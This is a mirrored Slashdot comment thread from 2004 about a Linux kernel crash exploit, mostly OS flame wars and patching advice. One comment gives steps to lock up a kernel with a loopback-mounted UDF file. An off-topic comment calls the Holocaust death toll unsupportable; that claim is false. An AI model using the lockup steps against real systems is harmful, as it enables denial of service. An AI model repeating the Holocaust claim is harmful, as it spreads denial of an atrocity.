Nothing is perfect. I don't care how many fanboys from either side try to convince me otherwise. Operating systems are not religions, they're fucking software made by humans.

Comparing the difference between Linux and Windows by bonch · 2004-06-14 10:14 · Score: 1

Windows patch released:

"Stupid M$, now I have to reboot my Windows machine for a whole entire minute of downtime. My IT department will have to spend three months 'testing' this patch first, meanwhile allowing all the exploits in the wild to infect our network. Stupid Micro$loth sluts."

Linux patch released:

"This is just more evidence of the power and flexibility of Open Source Software. The patch is already released, and I'm recompiling my entire kernel on the production server and rebooting now. OSS is so much better than M$."

BFD by Simple-Simmian · 2004-06-14 10:31 · Score: 1

Since no one but I can asscess my Linux computers and that reside behind a firewall I am not going to to a damm thing. This is like no BFD to me. How many people need to provide anyone remote shell access to their personal systems?

If you have a systems that does provide remote shell access you better get that recompile going. Other wise it must be a slow ass news day.

--
If you don't like what I write don't be a CS and mod it down. Refute it.
Yea I can't spell. So what is your point?

nonzero: It's not just for game thory anymore! by bluethundr · 2004-06-14 10:43 · Score: 1

Only if you restrict your definition of 'nonzero' to that in game theory, not that which is in wide use in engineering, physics and mathematics. And I wasn't discussing game theory at all. The more general meaning of the word 'nonzero' is "that which is not zero". Which is indeed what the etymology of the word would apply

I was using the term in a sociological context, bub. BTW, since you're so well versed in engineering and it's terminology I'm sure you know that all computers built since the dawn of time (computing) to this day are said to use a "Von Neumann architecture"? Von Neumann was a mathematical genius, the father of the modern computational model and the original pioneer of game theory.

--
Quod scripsi, scripsi.

Re:nonzero: It's not just for game thory anymore! by grahamlee · 2004-06-14 11:38 · Score: 2, Informative

I was using the term in a sociological context, bub.

The name's grahamlee. I was using a word from the english language and taking it to mean that which is its accepted meaning. It's even written as such in the dictionaries.

BTW, since you're so well versed in engineering and it's terminology I'm sure you know that all computers built since the dawn of time (computing) to this day are said to use a "Von Neumann architecture"?

That's a load of rubbish; all computers since the dawn of time have certainly not been exclusively von Neumann computers (as distinct from von Neumann machines, of course). Note all of the computers that employ the Harvard architecture. And I doubt you can conveniently ignore those unless you never ever intend to use a DSP (ever). The Harvard architecture is named after the Harvard Mark I (a.k.a. IBM ASCC), and one of its programmers was a certain Grace Hopper. She went on to big things, you know.

Von Neumann was a mathematical genius, the father of the modern computational model and the original pioneer of game theory.

You mean Neumann János? [I'm not happy that a paid-for title should necessarily be honoured.] I wonder whether he was able to see the word 'nonzero' written down without trying to invent a new meaning for it....probably. Anyway, the achievements or otherwise of a Hungarian mathematician have little bearing on your version of the word nonzero's definition, which of course comes from the Old French / Latin prefix "non-" and the Arabic "çifr". Not that your definition isn't necessarily valid in some field, I'm sure it is. It's just that the previous (c. 1879) definition already has a lot of inertia everywhere else, because people know that that is what the word means.

I'm the real Rei!!! by Ayanami+Rei · 2004-06-14 10:52 · Score: 1

Don't listen to those other ones... they're crazy.

--
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON

Re:This is another reason why C should be deprecat by jack_csk · 2004-06-14 11:11 · Score: 1

Right... and Stallman will call VB GNU/VB since then...

Re:Barring the fact that your "exploit" doesn't wo by SirTalon42 · 2004-06-14 11:27 · Score: 1

Thats why you password protect LILO... well there goes your excuse for an arguement.

Re:Although Windows is Easier to apply patches to. by trashme · 2004-06-14 11:29 · Score: 1

I hate recompiling my kernel, it always takes me a number of attempts until everything works.

Unless you are adding new hardware or compiling a kernel for a new machine you should not be having this problem. Once you have a working kernel, save the config. When compiling a newer kernel, drop the saved config into the root of the new kernel tree as .config. Then just: make oldconfig You should only be prompted for options that are new in the kernel.

Re:Barring the fact that your "exploit" doesn't wo by handslikesnakes · 2004-06-14 11:31 · Score: 0

For the longest time? You still can.

It's not a bug, it's a desirable feature.

Simple fix by Anonymous Coward · 2004-06-14 11:58 · Score: 0

s/fwait/fnclex/ in clear_fpu of include/asm-i386/i387.h.

This prevents you from being vulnerable.

Re:This is another reason why C should be deprecat by SirTalon42 · 2004-06-14 12:08 · Score: 1

He was joking... I wasn't sure till the very end (even then I wasn't totally)

You forgot a few steps... by leonbrooks · 2004-06-14 12:22 · Score: 2, Insightful

For MS-Windows:

-4. Wait six months
-3. Deny that there is a problem (or assert that it is "theoretical");

-2. Sue or at least threaten to sue the people reporting it;

-1. Produce a fix that breaks several other things;

0. Produce a fix which only breaks a few other things but which silently rewinds some earlier security patches;

For Linux, choice of:

A. Download the vendor-prepared kernel within a few hours of seeing a problem report, install and reboot;
B. Download and apply a patch, then "nice rpm -bb kernel.spec" so the compile doesn't bring your machine to its knees the way it would under MS-Windows, install the results and reboot (with variants for non-RPM distros like Debian and Slack) (and what sort of nutcase would do the rebuild on a production machine when their own desktop would do the job just as well, even if it was a G5 and the target an Athlon64?);

C. Download and install a library shim which blocks the offending action, then do A or B without the reboot.

I'd like to see a TwoKernelMonte variant for SMP which allowed you to isolate one processor from the kernel, bring up a patched version of the same kernel under it in cooperation with the running kernel (which process would presumably not survive any changes in in-memory structures, so check for that first), migrating devices across in idle moments, then finally deleting the old kernel and bonding the processor thus freed to the new kernel. Viola, new kernel sans reboot. Ideal for a patching situation.

--
Got time? Spend some of it coding or testing

Re:You forgot a few steps... by Anonymous Coward · 2004-06-14 14:37 · Score: 0

I'm not sure if you're being sarcastic or not, but you just confirmed the parent's point with your bs comment if you're serious.
Re:You forgot a few steps... by TheLink · 2004-06-16 03:18 · Score: 1

The main thing is how often do you have to do all that?

How many linux kernel security probs so far this year? Too many.

With Linux's quality as it is, Windows doesn't really look so bad. So far most of the bugs have been IE related, and given my Win2K config, I'm not vulnerable to most of them (on my PCs, scripts etc can't run in the My Computer zone, scripts can only run in sites listed in a custom zone - unlikely for attackers to add sites to my custom zone).

FreeBSD 4.9 had two kernel level probs so far this year (shmat vuln and tcp DoS). Too many as well, but still fewer than Linux.

So far this year, OpenBSD has had a shmat bug too, an IPv6 MTU DoS and a procfs problem. OpenBSD is having some probs with some IPSEC stuff tho the last I checked, but that's not a kernel prob.
--
- Too many replies beneath your current threshold

[OT] Six million? The man was an amateur! by Anonymous Coward · 2004-06-14 12:33 · Score: 0

I'd say that the systematic extermination of over six million people under the auspices of arguably the most evil human being to ever walk this planet is pretty important, wouldn't you?

The Roman Catholic Church appears to have been provably responsible for at least 60 million deaths so far (probably over double that in real life; for example, records of the Goan Inquisition are very thin on the ground and it accounted for over a million all by itself; for another example, they sic'd the Manchu onto 70 million Ti Ping and haven't been called to account for that) but even this pales into insignificance compare with the great Atheist murderers like Stalin and Mao.

Not that it matters to the million or two who were actually killed, but six million is also an unsupportable number pulled out of someone's backside. Hitler was an amateur. He used the Jesuits and the Roman Catholic heriarchy as a model for his Third Reich (if there is a Catholic equivalent to SCO, his estate is in big trouble), and was still a Catholic in good standing when he died, despite having a fairly heavy obsession with the occult.

You do have to wonder about the mindset of the underlings who carried out all of this mayhem.

Re:This is another reason why C should be deprecat by codesurfer · 2004-06-14 12:40 · Score: 1

Yeah, I posted before really taking the time to figure it out, it seemed really similar to another troll from somewhere else. He did a great job with it though! LOL

Another one that works on kernel 2.6.6 by Alexis+de+Torquemada · 2004-06-14 12:41 · Score: 1

You know what else makes the kernel crash? At least if you are using 2.6.5 or higher if you enable APIC/APIC-IO and you have an nforce chipset the system will lock up as soon as you do too much I/O.

Create a container file with UDF (64M worked for me). Mount it on loopback, and copy some large directory to it. Will lock the kernel up in no time.

But both of these require root privileges, typically. A crash bug that doesn't is much worse.

--
I love C++

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 13:53 · Score: 0

This ancient troll-text *is* funny today... the kernel is written in C... there's a bug... get it? The luser responses are priceless too!

Well, maybe. by Tau+Zero · 2004-06-14 13:56 · Score: 1

You mean we'll never be certain that we caught you. Or that you're alive. Depends how close you were to Schroedinger's cat...

--
Time is Nature's way of keeping everything from happening at once... the bitch.

Re:This is another reason why C should be deprecat by dustmite · 2004-06-14 14:16 · Score: 1

I have coded in VB for fifteen years, and in Java for over ten

Hehe .. Java of course came out in '95 ... Anyway, I remember back in '98 I was reading the jobs section of a newspaper, and remember laughing at one company's ad: they were looking for Java programmers, and required that applicants had a minimum of five years Java programming experience.

Re:This is a bad situation that needs to be remedi by slashdot_commentator · 2004-06-14 14:22 · Score: 1

Yeah, technically, its not a DOS attack. But when the machine locks up/crashes, it pretty much the same result, no?

--
There is no America. There is no democracy. There is only IBM and AT&T and DuPont, Dow, General Electric, and Exxon

Re:This is a bad situation that needs to be remedi by slashdot_commentator · 2004-06-14 14:25 · Score: 1

No, it becomes a serious problem when someone figures out a way to trigger the attack without the direct need for a command shell. (worm/trojan, for example.)

Presume there is a bug can be triggered a lockup/crash remotely. The gist of my post still applies, no?

--
There is no America. There is no democracy. There is only IBM and AT&T and DuPont, Dow, General Electric, and Exxon

Re:This is a bad situation that needs to be remedi by spitzak · 2004-06-14 14:56 · Score: 1

Yes if somebody can get arbitrary code to execute, they could execute this and thus crash the machine. However I still feel that if somebody can get arbitrary code to execute, they could instead give themselves a shell (from which they could execute this bug and many others), or execute much more destructive code such as deleting files.

It does seem the main threat is that even a total novice who has a shell account can probably figure out how to crash a machine. This is a threat to universities providing rlogin and some similar stuff, but probably not to a lot of servers.

Re:OS bugs are like golf... by Bull999999 · 2004-06-14 17:13 · Score: 1

Linux trolls got it all wrong. Windows don't suck, it blows.

--
1f u c4n r34d th1s u r34lly n33d t0 g37 l41d

Re: it's a big Intel's problem!!! by Anonymous Coward · 2004-06-14 17:38 · Score: 0

The big problem of alarm's signal is that linux doesn't implement his signals's heavy task switching (TSS in the Intel-Architecture) same slower as the scheduler's task switching because it has to save/restore the 3 context's stacks (of 3 privileges), the GPP registers, the EIP, the EFLAGs, the 8 FPU's registers, the MMX's registers, the SSE's registers, the SSE2's registers, etc.

So, for signaling, fast call gate in the IDT is more dangerous than slow switching task in the IDT :P

open4free ©

Old is better by graaah · 2004-06-14 22:06 · Score: 0

For once I'm more secure with my anicent 2.4.18 kernel!

Learn some history, coward. by leonbrooks · 2004-06-14 22:08 · Score: 1

you just confirmed the parent's point with your bs comment

Those who won't learn from history are doomed to repeat it, including you.

Not everyone who pounds on Microsoft's character is doing it by reflex. The company as such, following the character of its fearless leader, is actually as amoral as it is so often painted - and that's only the greed and carelessness we actually know about because it's been made public; what about the other skeletons in their closet?

Linux is not a panacea, although it does everything I personally need and more, but it is being adopted in far too many places simply because it's ABM (Anything But Microsoft).

--
Got time? Spend some of it coding or testing

Re:Learn some history, coward. by grahamlee · 2004-06-14 23:04 · Score: 1

Linux is not a panacea, although it does everything I personally need and more, but it is being adopted in far too many places simply because it's ABM (Anything But Microsoft).

An interesting assertion. Although I think that a large factor in Linux's adoption is that it came about at The Right Time(TM); just as it was becoming a useful OS the .com bubble burst, and all the companies who had Solaris, IRIX, AIX etc. machines suddenly found themselves in need of an upgrade but without any money. How does one stay in UNIX without shelling out any capital? Enter the penguin.

The actual situation is likely to be a combination of my suggestion and yours, with a bit of something that neither of us have mentioned thrown in :-)

Re:OS bugs are like golf... by Anonymous Coward · 2004-06-14 23:15 · Score: 0

I can say "BOOBIES" without the use of a calculator!

Re:Barring the fact that your "exploit" doesn't wo by Anonymous Coward · 2004-06-15 03:07 · Score: 0

YHBT. YHL. HAND.

Love,
bonch (aka Overly Critical Guy)

Uh by Anonymous Coward · 2004-06-15 03:13 · Score: 0

Operating systems are not religions, they're fucking software made by humans.

Exactly. And as such, they often have agendas behind them. Like Microsoft's--their agenda is to dominate the OS space at any cost and to extract rents in perpetuity while on the other hand one of the goals of Linux is to provide an alternative that can't be used for such an agenda.

Really, you can't be that blind, can you?

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-15 03:39 · Score: 0

There's nothing wrong with "could've". The point is that illiterate people hear and say that, don't realize it's actually a contraction, and proceed to write "could of".

Re:Although Windows is Easier to apply patches to. by arantius · 2004-06-15 04:57 · Score: 1

So what? Why do we want Linux to 'move into the desktop market'?
I personally want it to stay where it is. (Or maybe was a couple years back.) It's for experts. It's a GOOD thing that the unwashed masses have their Windows, and the expert geeks have their Linux. We don't Linux to get dumbed down until it's Windows do we? It won't be any better than Windows if it does.

--
Health is simply dying at the slowest rate possible.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-15 06:12 · Score: 0

You're right. There is no cure for stupidity as profound as yours.

difference is.... by Anonymous Coward · 2004-06-15 06:29 · Score: 0

there you're crashing user-space and root still has 10% resources alloted to be able to log in and nuke the mischeveous lamer.

here OTOH you have a simple non-root exploit that effectively denies root or anyone else for that matter any kind of access.

this exploit basically takes us back to the days of DOS when you could :chaos
JMP chaos

and crash the PC

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-15 14:25 · Score: 0

I thought it was pretty funny myself

Re:Windows Community (going off-topic) by WuphonsReach · 2004-06-15 19:02 · Score: 1

It's good reading for anybody interested, however, unlike slashdot, registration is required.

Completely off-topic... but are you saying registration-required is a good thing?

On /., allowing the trolls to post via Anonymous Coward serves a useful purpose. They get to blow off steam (or get off), and with the ability to auto-score them down in my profile, they don't bother me much.

But then, /. balances it out with a partially-broken moderation system.

--
Wolde you bothe eate your cake, and have your cake?

Re:Although Windows is Easier to apply patches to. by Anonymous Coward · 2004-06-15 19:18 · Score: 0

I hate recompiling my kernel, it always takes me a number of attempts until everything works. Also my server is running Linux and is serving two houses of people with net access, I can't just take it down and mess around with it for hours while I have fun trying to get a working kernel.

You have to take the machine down while you compile a new kernel?

/boggle

Even a user-hostile distro like Gentoo allows you to compile a new kernel while the machine is still running, install the new kernel into a new slot in the boot partition (leaving the old kernel intact and bootable), and finally change grub to boot from the new kernel (leaving yourself a 30 second timeout on the kernel selection screen, in case you need to revert back).

Changing a kernel is easy. Especially if you're smart enough to keep good notes about what settings you used last time (or just make a simple copy of the config file).

Worst case, if it doesn't boot, is that you boot back to the old kernel while you re-examine what you did wrong while creating the new kernel files.

Phew! Far in the future! by Anonymous Coward · 2004-06-15 22:10 · Score: 0

6/11/2004 hasn't happened yet. It's only June now and the 6th of November is far enough away we can plan for this!

Re:Windows Community (going off-topic) by Allen+Zadr · 2004-06-16 01:03 · Score: 1

O.K. I'll bite.

The answer is no. It's not "a good thing", it's not necessarily a bad thing either. Slashdot's ability to give Anonymous Users the luxery to both view and post is rare, but since I'm directing traffic from here, I thought it appropriate to let everyone know that if they "want in" they'll have to register. It's a time saving measure for those who are interested in looking, but wouldn't be willing to register.

My comment serves the same purpose as the NYTimes links where "(soul sucking registration required)" warnings are common.

--
Kinetic stupidity has a new brand leader: Allen Zadr.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-16 04:17 · Score: 0

Thanks for clearing that up for us, Darl.

Easy meantime fix by jhylkema · 2004-06-16 11:31 · Score: 1

Obviously everybody should either patch their kernel or upgrade to a new one to fix this problem. But in the meantime, set the noexec bit on /home and problem solved. This is another good reason to have /, /usr, /tmp, etc., each on separate partitions. Just my $0.02 worth.

Kernel problems by leonbrooks · 2004-06-16 12:33 · Score: 1

The main thing is how often do you have to do all that?

At least monthly. And note that the recent "zero-day" IE exploit was based on a known bug which Microsoft didn't fix because they couldn't see how it would be used. FOSS people would (do) fix it anyway.

How many linux kernel security probs so far this year?

Two observations worth noting are that the Linux problems are actually being found and fixed: many of them are falling out of deliberate efforts to purify the kernel, whereas the corresponding problems in the MS-Windows core are not being found - at least, not by white-hats; and that if a DOS is the worst that can be found in Linux in... how long...? then we don't have all that much to worry about (but I'm glad that there are people out there worrying on my behalf anyway).

--
Got time? Spend some of it coding or testing

Slashdot Mirror

New Linux Kernel Crash-Exploit discovered

691 comments